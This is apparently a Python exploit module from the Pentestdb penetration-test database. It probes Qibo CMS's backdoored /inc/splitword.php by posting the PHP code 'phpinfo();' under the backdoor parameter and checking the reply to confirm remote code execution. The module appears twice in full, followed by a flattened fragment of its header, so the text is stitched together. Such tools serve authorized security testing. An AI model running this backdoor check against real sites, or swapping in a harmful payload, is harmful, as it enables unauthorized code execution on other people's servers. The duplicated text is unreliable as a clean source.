<filename>exploit/cms_qibo_splitword_php_backdoor.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-

'''
Pentestdb, a database for penetration test.
Copyright (c) 2015 alpha1e0
'''


from pentest.libs.exploit import Exploit
from pentest.libs.exploit import Result



class QibocmsBD(Exploit):
    expName = u"齐博cms splitword.php 后门"
    version = "1.0"
    author = "alpha1e0"
    language = "php"
    appName = "qibocms"
    appVersion = "1.0"
    reference = ['http://www.wooyun.org/bugs/wooyun-2014-085038','http://www.wooyun.org/bugs/wooyun-2015-096380']
    description = u'''
        齐博cms
    '''

    def _verify(self):
        result = Result(self)

        phpPayload = "phpinfo();"
        sig = '_SERVER["HTTP_HOST"]'

        url = self.urlJoin("/inc/splitword.php")
        response = self.http.post(url, data={'Y2hlbmdzaGlzLmMjd':phpPayload})

        if response.status_code == 200:
            if sig in response.content:
                result['fullpath'] = self.url
                result['payload'] = phpPayload

        return result


<filename>exploit/cms_qibo_splitword_php_backdoor.py
#!/usr/bin/env python
#-*- coding:utf-8 -*-

'''
Pentestdb, a database for penetration test.
Copyright (c) 2015 alpha1e0
'''


from pentest.libs.exploit import Exploit
from pentest.libs.exploit import Result



class QibocmsBD(Exploit):
    expName = u"齐博cms splitword.php 后门"
    version = "1.0"
    author = "alpha1e0"
    language = "php"
    appName = "qibocms"
    appVersion = "1.0"
    reference = ['http://www.wooyun.org/bugs/wooyun-2014-085038','http://www.wooyun.org/bugs/wooyun-2015-096380']
    description = u'''
        齐博cms
    '''

    def _verify(self):
        result = Result(self)

        phpPayload = "phpinfo();"
        sig = '_SERVER["HTTP_HOST"]'

        url = self.urlJoin("/inc/splitword.php")
        response = self.http.post(url, data={'Y2hlbmdzaGlzLmMjd':phpPayload})

        if response.status_code == 200:
            if sig in response.content:
                result['fullpath'] = self.url
                result['payload'] = phpPayload

        return result


#!/usr/bin/env python #-*- coding:utf-8 -*- Pentestdb, a database for penetration test. Copyright (c) 2015 alpha1e0 齐博cms